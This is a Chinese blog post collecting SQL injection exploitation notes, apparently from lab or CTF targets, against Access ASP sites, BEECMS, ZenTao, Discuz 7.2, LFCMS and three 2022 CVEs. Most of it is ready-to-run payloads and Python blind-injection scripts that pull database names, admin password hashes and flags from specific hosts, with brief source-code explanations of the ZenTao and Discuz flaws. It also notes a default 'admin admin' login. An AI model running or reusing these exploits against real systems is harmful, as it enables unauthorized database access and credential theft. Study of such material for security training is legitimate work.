sql注入合集

news2025/1/17 0:12:06

1.Access注入

http://110.40.154.212:8002/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select count(*) from admin)  #存在admin表,继续爆,还存在job,email,product等


http://110.40.154.212:8002/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select password from admin) #以此类推,存在id,password,admin


http://110.40.154.212:8002/Production/PRODUCT_DETAIL.asp?id=1513 order by 22        #字段数为22

http://110.40.154.212:8002/Production/PRODUCT_DETAIL.asp?id=1513 union select top 1 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,admin.* from admin #admin表有6个字段,3,9,13,15回显

http://110.40.154.212:8002/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10, * from (admin q inner join admin w on q.id=w.id) #利用admin表内联,6*2,补充10个字段数,17后面的admin数据往前移动6位

http://110.40.154.212:8002/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,q.password,* from (admin q inner join admin w on q.id=w.id) #admin

在这里插入图片描述

最终admin表大概就为

可以确定admin的表大概为

idadminpassword未知未知未知
39admina48e190fafc257d3=>bendss2502013/12/5 19:34:46

用sqlmap跑一下

idadminpasswordlogin_count未知data
39admina48e190fafc257d3=>bendss2502013/12/5 19:34:46

二、某某搬家公司

在这里插入图片描述

在这里插入图片描述

http://110.40.154.212:8003/common.asp?id=2 and 1=1 # 存在注入

http://110.40.154.212:8003/common.asp?id=2 order by 4 #字段数4 

http://110.40.154.212:8003/common.asp?id=2 and exists(select * from MSysAccessObjects) #access数据库

http://110.40.154.212:8003/common.asp?id=2 and exists(select *from table_name) #直接字典爆表名   menu,news,admin_user,ad,admin_user

http://110.40.154.212:8003/common.asp?id=2 union select 1,2,3,4 from admin_user  #2,3回显

http://110.40.154.212:8003/common.asp?id=2 and exists (select id from admin_user) #id,admin,data,password,

http://110.40.154.212:8003/common.asp?id=2 union select 1,id,password,4 from admin_user # admin 21232f297a57a5a743894a0e4a801fc3=>admin

3、手工注入练习

在这里插入图片描述

一样,跟上面用的应该是同一个Access数据库。

4、Cookie注入

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

1 and exists(select *from admin) 存在admin user product user news book

1 and exists(select password from admin)  #id,data,username,password,

1 order by 12  #字段数是11  

1  union select 1,2,3,4,5,6,7,8,9,10,11 from admin #2,3号位显示

1 union select 1,username,password,4,5,6,7,8,9,10,11 from admin



在这里插入图片描述

5、beecms注入

admin' a and nd updatexml(1,concat(0x7e,(select database()),0x7e),1)#


admin' a and nd updatexml(1,concat(0x7e,(selselectect  group_concat(table_name) fr from om information_schema.tables wh where ere table_schema like database()),0x7e),1)#  //bees_admin,bees_admin_group,bee


admin' a and nd updatexml(1,concat(0x7e,(selselectect  group_concat(column_name) fr from om information_schema.columns wh where ere table_schema like database()),0x7e),1)#   //id,admin_name,admin_password,ad



admin' a and nd updatexml(1,concat(0x7e,(selselectect  group_concat(admin_name,admin_password) fr from om bees.bees_admin ),0x7e),1)#

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

尝试写shell没成功,可能是prev没开。

七、禅道sql注入

file

class block extends control
{
public function __construct($moduleName = '', $methodName = '')
{
parent::__construct($moduleName, $methodName);
$this->selfCall = strpos($this->server->http_referer, common::getSysURL()) === 0 || $this->session->blockModule;
if($this->methodName != 'admin' and $this->methodName != 'dashboard' and !$this->selfCall and !$this->loadModel('sso')->checkKey()) die('');
}
public function main($module = '', $id = 0)
{
    
    $mode = strtolower($this->get->mode);
    if($mode == 'getblocklist')
    {   
    }   
    elseif($mode == 'getblockdata')
    {   
        $code = strtolower($this->get->blockid);

        $params = $this->get->param;
        $params = json_decode(base64_decode($params));     
        $this->viewType   = (isset($params->viewType) and $params->viewType == 'json') ? 'json' : 'html';
        $this->params     = $params;
        $this->view->code = $this->get->blockid;

        $func = 'print' . ucfirst($code) . 'Block';
        if(method_exists('block', $func))
        {
            $this->$func($module);
        }
        else
        {
            $this->view->data = $this->block->$func($module, $params);
        }
    }
}

先对Referer进行了判断,如果不正确,直接die(),通过判断mode=getblockdata进入分支,传入blockid=case调用进入printcaseBlock
()函数

public function printCaseBlock()
{
    if($this->params->type == 'assigntome')
    {
        
    }
    elseif($this->params->type == 'openedbyme')
    {
        $cases = $this->dao->findByOpenedBy($this->app->user->account)->from(TABLE_CASE)
            ->andWhere('deleted')->eq(0)
            ->orderBy($this->params->orderBy)
            ->beginIF($this->viewType != 'json')->limit($this->params->num)->fi()
            ->fetchAll();
    }
    $this->view->cases    = $cases;
}

判断params中的type值,传openedbyme从而进入orderBy()漏洞函数。

public function orderBy($order)
{
    if($this->inCondition and !$this->conditionIsTrue) return $this;

    $order = str_replace(array('|', '', '_'), ' ', $order);
    $pos    = stripos($order, 'limit');
    $orders = $pos ? substr($order, 0, $pos) : $order;
    $limit  = $pos ? substr($order, $pos) : '';
    $orders = trim($orders);
    if(empty($orders)) return $this;
    if(!preg_match('/^(\w+\.)?(`\w+`|\w+)( +(desc|asc))?( *(, *(\w+\.)?(`\w+`|\w+)( +(desc|asc))?)?)*$/i', $orders)) die("Order is bad request, The order is $orders");

    $orders = explode(',', $orders);
    foreach($orders as $i => $order)
    {
        $orderParse = explode(' ', trim($order));
        foreach($orderParse as $key => $value)
        {
            $value = trim($value);
            if(empty($value) or strtolower($value) == 'desc' or strtolower($value) == 'asc') continue;

            $field = $value;
            /* such as t1.id field. */
            if(strpos($value, '.') !== false) list($table, $field) = explode('.', $field);
            if(strpos($field, '`') === false) $field = "`$field`";

            $orderParse[$key] = isset($table) ? $table . '.' . $field :  $field;
            unset($table);
        }
        $orders[$i] = join(' ', $orderParse);
        if(empty($orders[$i])) unset($orders[$i]);
    }
    $order = join(',', $orders) . ' ' . $limit;

    $this->sql .= ' ' . DAO::ORDERBY . " $order";
    return $this;
}

先将order中的|,_置换为空格,然后取第一次出现limit的位置,取值,对orders进行了正则匹配和处理,但是没有对limit进行处理,最后又把limit拼接到了ORDERBY语句中执行,导致了注入产生。

import base64
payload=b"""{"orderBy":"order limit 1;select (if(ascii(substr((select database()),1,1))>0,sleep(5),1))-- ","num":"1,1","type":"openedbyme"}"""
base64encode_str = base64.b64encode(payload)
print(base64encode_str)

file

执行时间达到5秒多,说明sql语句被执行了。

import base64
import time
import requests
payload=b"""{"orderBy":"order limit 1;select (if(ascii(substr((select database()),1,1))>0,sleep(5),1))-- ","num":"1,1","type":"openedbyme"}"""


headers={
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0',
    'Cookie':'lang=zh-cn; theme=default; lastProduct=2; think_template=default; SECKEY_ABVK=sDKUFx0SI2QxP1RGsU9FV8qwP8TB8dsS5s540TBV5ms%3D; BMAP_SECKEY=nYO150H6Wi-DT3mcAEoVLuT4r9CzC0S_Eze5tiiPyKXCUefAwVqUS-S_D0_0HfTtRUfRKLcQj3Zv0etp0wI6U-T73zjNXiLh_qCw8wxeIpYFhypp0iO4bRF5Z3Ybzte2BZQ9s7kcW32CL8iYEboDZNuDwUK6ApljNJr9yVz1spj8X9DACSY7j3raFA27vDw0; ASPSESSIONIDAQDDSBSS=GNHNFOMAHBLKHHMNBFNMEBMK; ASPSESSIONIDCQCCRATT=LBBHAMNAMBAOIMDHBFADKHLM; sid=abi792kma4oc97llvmdegnstt5; windowWidth=692; windowHeight=711; PHPSESSID=p9a6umsf1ajbc3d4tm5k9ge676; Hm_lvt_b60316de6009d5654de7312f772162be=1678363323; Hm_lpvt_b60316de6009d5654de7312f772162be=1678363707; f814212a5b521d45bd53097f6a4a5fdb_ci_session=d25dvapp153pkttr7sp9rrpak9hisg2i; lf_users___forward__=%2Findex.php%3Fs%3D%2Flists%2Findex%2Fid%2F55.html',
    'Referer': 'http://110.40.154.212:8081/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtzZWxlY3QgKGlmKGFzY2lpKHN1YnN0cigoc2VsZWN0IGRhdGFiYXNlKCkpLDEsMSkpPjY0LHNsZWVwKDUpLDEpKS0tICIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0='
}
result = ''
for times in range(1, 88):
    min = 0
    max = 128
    mid = (min + max) // 2
    while min < max:
        payload = '{'+f'"orderBy":"order limit 1;select (if(ascii(substr((select database()),{times},1))>{mid},sleep(5),1))-- ","num":"1,1","type":"openedbyme"' +'}'
        base64encode_str = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
        url="http://110.40.154.212:8081/index.php?m=block&f=main&mode=getblockdata&blockid=case&param="+base64encode_str
        startTime = time.time()
        resp = requests.get(url,headers=headers)
        if time.time()-startTime > 3:
            min = mid + 1
        else:
            max = mid
        mid = (min + max) // 2
    result += chr(min)
    print(result)

file

八、Discuz7.2

function implodeids($array) {
	if(!empty($array)) {
		return "'".implode("','", is_array($array) ? $array : array($array))."'";
	} else {
		return '';
	}
}

漏洞成因是impledeids将$groupids数组用,分隔开,组成了类似于’1’,‘2’,‘3’,‘4’,这样的字符返回,刚取出第一个转义符,会将正常的’转义,编程’1’,‘’,‘3’,‘4’,从而导致第三个引号和第五个引号闭合成功,3成功逃逸。

file

payload如下:

import re

import requests

s=requests.session()

headers={
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0'
}
url="http://110.40.154.212:8041/faq.php?action=grouppermission&gids[9]=%27&gids[10][0]="
#payload=") and updatexml(1,concat(0x7e,(select%20database()),0x7e),1)--+"
payload=")%20and%20updatexml(1,concat(0x7e,(select%20table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1)--+"
url=url+payload
resp=s.get(url,headers=headers)
obj=re.compile(r'.*?XPATH syntax error: (?P<name>.*?)<br />.*?')
result3 = obj.search(resp.text)
print(result3.group("name"))

九、Poscms

file

弱口令 admin admin

十、LFCMS

file

import time

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0',
    'Cookie': 'lang=zh-cn; theme=default; lastProduct=2; think_template=default; SECKEY_ABVK=r765x/a4GpSgTpZWaXpRMHGkAr7A4jYs9j+/yYIFI7Y%3D; BMAP_SECKEY=Z87tl5vu1Tck9__fh5HGqx6jV4LMqg2iVrfDcWFYuWoF3KRhPMPWQDJK0UN3Rb_WfQH6WOFCQ58HM_bVAAO1ybF4klLwASuNrZ58kxks8KcFKBrZLKog6RbpZMwnRPdf0gPtuf_jkc3L4IfZPBOFxulTgRykV0wGZViV3ogirrqFatnGW5Kbam1L3iZgBr6b; Hm_lvt_b60316de6009d5654de7312f772162be=1678712949,1678717766,1678718983,1678720108; Py1_sid=moGWFy; Py1_visitedfid=2; f814212a5b521d45bd53097f6a4a5fdb_ci_session=qphormh4vscqqohbil540na3eqmijksd; member_uid=1; member_cookie=8f85827484437f675f15; finecms-admin-login=admin; PHPSESSID=kgaha0hgok2fobjk7ic4pb0292; lf_users___forward__=%2Findex.php%3Fs%3D%2Flists%2Findex%2Fid%2F4.html'
}
flag = ''
for times in range(1, 10):
    count = 1
    for j in range(1,130):
        url = f'http://110.40.154.212:8070/index.php/Ajax/randMovie?limit=1&category=1%20AND%20(SELECT%208586%20FROM%20(SELECT(if(STRCMP({count},ORD(MID((SELECT%20DATABASE()),{times},1))),sleep(5),1)))YVDz)'
        #1 AND (SELECT 8586 FROM (SELECT(if(STRCMP(2,ORD(MID((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))),sleep(5),1)))YVDz) 爆表
        startTime = time.time()
        resp = requests.get(url, headers=headers)
        if time.time() - startTime > 3:
            count += 1
        else:
            flag += chr(count)
            break
        time.sleep(1)
    print(flag)

file

十一、CVE-2022-0760

import requests
import time

# 这里我们直接猜测flag和上一个sql注入的flag位置相同
# flag
# ctftraining.flag
url = "http://43.143.7.97:28646/wp-admin/admin-ajax.php"

flag=''
for i in range(1, 100):
    min = 1
    max = 130
    mid = int((min + max) / 2)
    while min < max:
        data = {
            "action": "qcopd_upvote_action",
            "post_id": f"(SELECT 3 FROM (SELECT if(ascii(substr((select group_concat(flag) from ctftraining.flag),{i},1))>{mid}, sleep(2),0))enz)"
        }
        start_time = time.time()
        resp = requests.post(url=url, data=data)
        end_time = time.time()
        if end_time - start_time >= 1.5:
            min = mid + 1
            mid = int((min + max) / 2)
        else:
            max = mid
            mid = int((min + max) / 2)
        time.sleep(0.05)
    flag += chr(mid)
    print(flag)


十二、CVE-2022-28060

import requests

url = "http://eci-2zedokw2lk9cmgyzien0.cloudeci1.ichunqiu.com/includes/login.php"
headers = {"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0",
           "Cookie": "PHPSESSID=13eujk0h63jengf960ni8f75ib"}
result=''
for times in range(1, 80):
    min = 0
    max = 128
    mid = (min + max) // 2
    while min < max:
        #payload = f"test' or (ascii(substr((select database()),{times},1))>{mid})#"   php_cms
        payload = f"test' or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{times},1))>{mid})#" #categories,comments,posts,users
        params = {"user_name":payload,"user_password":"test","login":""}
        resp = requests.post(url, headers=headers,data=params,allow_redirects=False)
        if resp.status_code == 302:
            min = mid + 1
        else:
            max = mid
        mid = (min + max) // 2
    result += chr(min)
    print(result)


十三、CVE-2022-32991

import requests

url="http://eci-2ze7tjyvsp74pucwtvoj.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141b8009cf0%27%20and%20length(database())%3E2%23&n=2&t=10"
headers={"user-agent": "Mozilla/5.0 (Macintosh;)",
         "Cookie": "PHPSESSID=s9uv7tno0iv57qj1fde7u1sb64"}
result=''
for times in range(1, 80):
    min = 0
    max = 128
    mid = (min + max) // 2
    while min < max:
        #url=f"http://eci-2ze7tjyvsp74pucwtvoj.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141b8009cf0' and if((ascii(substr((select database()),{times},1))>{mid}),1,0)%23&n=2&t=10"
        #url = f"http://eci-2ze7tjyvsp74pucwtvoj.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141b8009cf0' and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{times},1))>{mid}),1,0)%23&n=2&t=10"
        #url = f"http://eci-2ze7tjyvsp74pucwtvoj.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141b8009cf0' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),{times},1))>{mid}),1,0)%23&n=2&t=10"
        url = f"http://eci-2ze7tjyvsp74pucwtvoj.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141b8009cf0' and if((ascii(substr((select flag from ctf.flag),{times},1))>{mid}),1,0)%23&n=2&t=10"
        resp = requests.get(url, headers=headers)
        if 'Notice' not in resp.text:
            min = mid + 1
        else:
            max = mid
        mid = (min + max) // 2
    result += chr(min)
    print(result)



本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/501126.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

软考A计划-重点考点-专题二(程序语言)

点击跳转专栏>Unity3D特效百例点击跳转专栏>案例项目实战源码点击跳转专栏>游戏脚本-辅助自动化点击跳转专栏>Android控件全解手册点击跳转专栏>Scratch编程案例 &#x1f449;关于作者 专注于Android/Unity和各种游戏开发技巧&#xff0c;以及各种资源分享&am…

GP04丨网格框架初版

量化策略开发&#xff0c;高质量社群&#xff0c;交易思路分享等相关内容 正文 大家好&#xff0c;今天我们分享股票社群第4期量化策略——网格策略。 在上一期中&#xff0c;我们分享了ETF轮动策略Plus版本&#xff08;基于资金管理的ETF增强策略&#xff09;&#xff0c;本…

Linux-Day02

Linux-Day02 课程内容 软件安装 项目部署 1. 软件安装 1.1 软件安装方式 在Linux系统中&#xff0c;安装软件的方式主要有四种&#xff0c;这四种安装方式的特点如下&#xff1a; 安装方式特点二进制发布包安装软件已经针对具体平台编译打包发布&#xff0c;只要解压&am…

哪种蓝牙耳机音质最好佩戴舒服?佩戴舒适音质好的蓝牙耳机

蓝牙无线耳机基本成为了大家的标配&#xff0c;大多数 对于外观与舒适性十分看重&#xff0c;如今的蓝牙耳机市场已经很成熟了&#xff0c;基本能满足大多数人&#xff0c;下面就来分享几款佩戴并且音质表现也不错的蓝牙耳机。 一、南卡小音舱Lite2蓝牙耳机 参考价格&#xf…

【机器人仿真Webots教程】-控制器编程指南

Webots controller编程指南 文章目录 Webots controller编程指南1. controller程序设计流程1.1 controller与场景树节点1.2 进程角度分析1.3 仿真时间步长与控制器程序更新延时步长 2. 例解控制器编程2.1 Hello world 实例2.2 传感器读取实例2.3 执行器的使用2.4 传感器与执行器…

距离保护整定计算中分支系数公式理解

在一般的距离保护II段和III段的整定计算中&#xff0c;分支系数的计算是必须要的&#xff0c;本文选自电力系统继电保护&#xff08;第二版&#xff09;&#xff08;张保会老师主编&#xff09;P94-P97页的例题&#xff0c;分析其中分支系数的计算公式。 我们在前面的章节中知道…

springboot+jsp影院管理系统9ufid电影票预订管理系统

项目介绍开发语言&#xff1a;Java 框架&#xff1a;springboot 技术&#xff1a;JSP JDK版本&#xff1a;JDK1.8 数据库工具&#xff1a;Navicat11 开发软件&#xff1a;eclipse/myeclipse/idea Maven包&#xff1a;Maven3.3.9 浏览器&#xff1a;谷歌浏览器 功能介绍 主要对…

HTB靶机08-Nineveh-WP

008-nineveh 靶机IP&#xff1a; 10.10.10.43 scan Nmap 扫描 ┌──(xavier㉿kali)-[~] └─$ sudo nmap -sSV -T4 10.10.10.43 -p- Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-07 17:40 CST Nmap scan report for nineveh.htb (10.10.10.43) Host is up (0.34s …

linux系统安装nginx 支持ssl

目录 1. 开放80端口和443端口 2. 安装nginx的基础环境 -> 2.1 安装gcc-c编译器 -> 2.2 安装pcre包 -> 2.3 安装zlib包(可能安装过) 3. 安装nginx -> 3.1 创建文件夹 -> 3.2 在官网下载nginx包到服务器内 -> 3.3 解压tar.gz,并进入nginx-1.19.9 -&g…

[数据库系统] 二、表的基本操作(educoder)

目录 第一关&#xff1a;修改表名 一、知识点 ①查看所有表&#xff1a;show tables; ②查看表基本结构&#xff1a;DESCRIBE 表名&#xff1b; 或 简写为 desc 表名; ③查看创建表的语句&#xff1a;SHOW CREATE TABLE 二、educoder 第二关&#xff1a; 修改表结构-1 一、…

面对AI“龙卷风”破坏力 白宫“软着陆”欧盟“硬防御”

ChatGPT的风靡与风险将OpenAI的CEO山姆奥特曼&#xff08;Sam Altman&#xff09;送进白宫&#xff0c;他被蹲守在美国总统府邸的记者们围追&#xff0c;面对5月4日白宫发起的AI风险治理会议&#xff0c;奥特曼很官方地给出“重要也很及时”的回应&#xff0c;自信的反复强调“…

【TCP三次握手】

文章目录 TCP基本认识TCP头部格式为什么需要 TCP 协议&#xff1f; TCP 工作在哪一层&#xff1f;什么是 TCP &#xff1f;如何唯一确定一个 TCPUDP 和 TCP 有什么区别呢&#xff1f;分别的应用场景是&#xff1f;TCP 和 UDP 可以使用同一个端口吗&#xff1f; TCP连接建立TCP三…

“SCSA-T学习导图+”系列:深入浅出理解OSPF链路状态信息

本期引言 本文是基于读者对OSPF有一定了解的基础上&#xff0c;重点理解OSPF收集链路状态的过程。我们都知道在OSPF的工作原理中&#xff0c;主要是通过泛洪不同种类的LSA来进行LSDB的同步&#xff0c;最后通过SPF算法来计算路由&#xff0c;达到全网互通的目的。所以我们研究…

camunda流程变量如何使用

Camunda是一个流程引擎&#xff0c;它支持在流程执行期间存储和操作流程变量。流程变量是一个值或对象&#xff0c;可以与Camunda中的流程实例、任务或执行相关联。 流程变量在Camunda中有很多用途。以下是一些常见的用途&#xff1a; 1、传递数据&#xff1a;流程变量可以用于…

通讯录备份的方法你知道几个?分享iPhone通讯录3个备份技巧!

案例&#xff1a;苹果通讯录的备份方法 【我想把 iPhone 8重置一下&#xff0c;把里边乱七八糟的东西清一清&#xff0c;软件什么的重新下了就好了&#xff0c;设置什么的也不需要备份&#xff0c;只想重置完了能恢复一下通讯录&#xff0c;求解答&#xff01;】 在如今的移动…

Scrum敏捷开发工具-单团队敏捷开发管理

Scrum是全球运用最广泛的敏捷管理框架&#xff0c;Leangoo基于Scrum框架提供了一系列的流程和模板&#xff0c;可以帮助敏捷团队快速启动Scrum敏捷开发。 这里可以介绍一下在scrum中单团队敏捷开发如何管理&#xff0c;单团队敏捷开发主要是针对10-15人以下&#xff0c;只有一…

PHP+MYSQL+Thinkphp——仓库管理系统

一、功能 前台功能&#xff1a; 1、企业介绍、企业消息推送 2、用户注册、用户登录、重置密码、退出登录 3、用户个人信息修改、材料申购、审批查看 4、材料管理&#xff1a;公司已有材料查看、材料借用、材料归还、借用记录 后台功能&#xff1a; 1、后台登录、修改管理员密…

【Java EE】-Servlet(二) Servlet API 详解

作者&#xff1a;学Java的冬瓜 博客主页&#xff1a;☀冬瓜的主页&#x1f319; 专栏&#xff1a;【JavaEE】 分享:寂寞会发慌&#xff0c;孤独是饱满的。——史铁生《命若琴弦》 主要内容&#xff1a;HttpServlet的方法&#xff0c;init,service,destroy,doGet/doPost/doPut/…

MySQL之从一条记录说起 【InnoDB 记录结构上篇】

前言 本文章收录在MySQL性能优化原理实战专栏&#xff0c;点击此处查看开篇介绍。 本文摘录自 ▪ 小孩子4919《MySQL是怎样运行的&#xff1a;从根儿上理解MySQL》 到现在为⽌&#xff0c;MySQL对于我们来说还是⼀个⿊盒&#xff0c;我们只负责使⽤客户端发送请求并等待服务…

【Go编程语言】 Go语言基础语法

Go语言基础语法 文章目录 Go语言基础语法一、注释1.单行注释2.多行注释 二、变量1.变量的定义2.变量的初始化3.理解变量&#xff08;内存地址&#xff09;4.变量交换5.匿名变量6.变量的作用域 三、常量1.常量的定义&#xff1a; const2.iota&#xff08;特殊常量&#xff09; 四…